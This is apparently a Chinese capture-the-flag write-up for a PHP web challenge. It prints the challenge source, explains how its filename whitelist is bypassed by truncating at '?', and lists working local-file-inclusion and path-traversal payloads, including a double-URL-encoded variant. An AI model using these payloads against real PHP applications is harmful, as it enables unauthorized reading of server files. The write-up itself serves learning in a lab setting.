NineOnee

导航

 

warmup

进去题目,是一张图片,f12审计源代码,找到提示source.php

访问http://220.249.52.133:47207/source.php

得到源代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
?>

看到源代码里有个白名单,里有个hint.php,于是我们试着访问http://220.249.52.133:47207/hint.php

返回的是

flag not here, and flag in ffffllllaaaagggg

说明flag是在ffffllllaaaagggg

审计代码


strpos($test,'9')//会返回9在$test这个字符串所在的位置
substr('123456789',0,9) //会从位置0开始对字符串截取9个长度
substr($test,0,strpos($test,'9')) //就会对从位置0开始对$test字符串截取8个长度

我们只要满足if的三个条件就可调用include函数来实现文件包含漏洞,所以我们要想办法使checkFile()函数返回Ture,构造?file=hint.php或者?file=source.php就可以返回True,但是这时并没有到达文件包含的目的,实际上这里可以构造?file=hint.php?[payload]就可以实现绕过来满足True

构造

file=hint.php?../../../../../../../ffffllllaaaagggg

即可得到flag

这里可能有点迷,为什么这个payload可以实现文件包含。

官方解释


看的有点迷,本地做个试验,这里flag.txt文件在根目录下,当前目录离根目录三个../



可以看到不管payload前加不加/,都是3个../可以包含flag.txt文件



按照官方的解释,因为我们的参数是有/../../../../../这样的路径所以符合最后一段话如果定义了路径,就会忽略/前的字符串而去找/../../../../flag.txt文件。

因为include会把第一个/后面的路径作为访问路径来寻找文件,所以当payload是12364../../../../../flag.txt时,以第一个/开始有4个../,而当payload是12364/../../../../flag.txt时,以第一个/开始也是4个../,这比前面没加字符串时,,多个1个../,原因不详。。

而且按照普通的形式应该可以读取绝对路径,但是这里加了字符串只能读取相对路径,也是很迷。




我们通过实验可以构造以下payload来利用第二个条件返回True

?file=hint.php?/../../../../ffffllllaaaagggg

?file=hint.php?../../../../../ffffllllaaaagggg

当然也可以利用第三个条件返回True

对?进行二次编码

?file=hint.php%253F../../../../../ffffllllaaaagggg

同样可以得到flag

当我们通过相对路径来抵达根目录时,../可以多加几个,以确保绝对达到根目录。

如,我们也可以构造payload

?file=hint.php?/../../../../../../../../ffffllllaaaagggg

这里我们直接构造8个../来确保抵达根目录。

posted on 2020-10-20 21:07  NineOne_E  阅读(317)  评论(0编辑  收藏  举报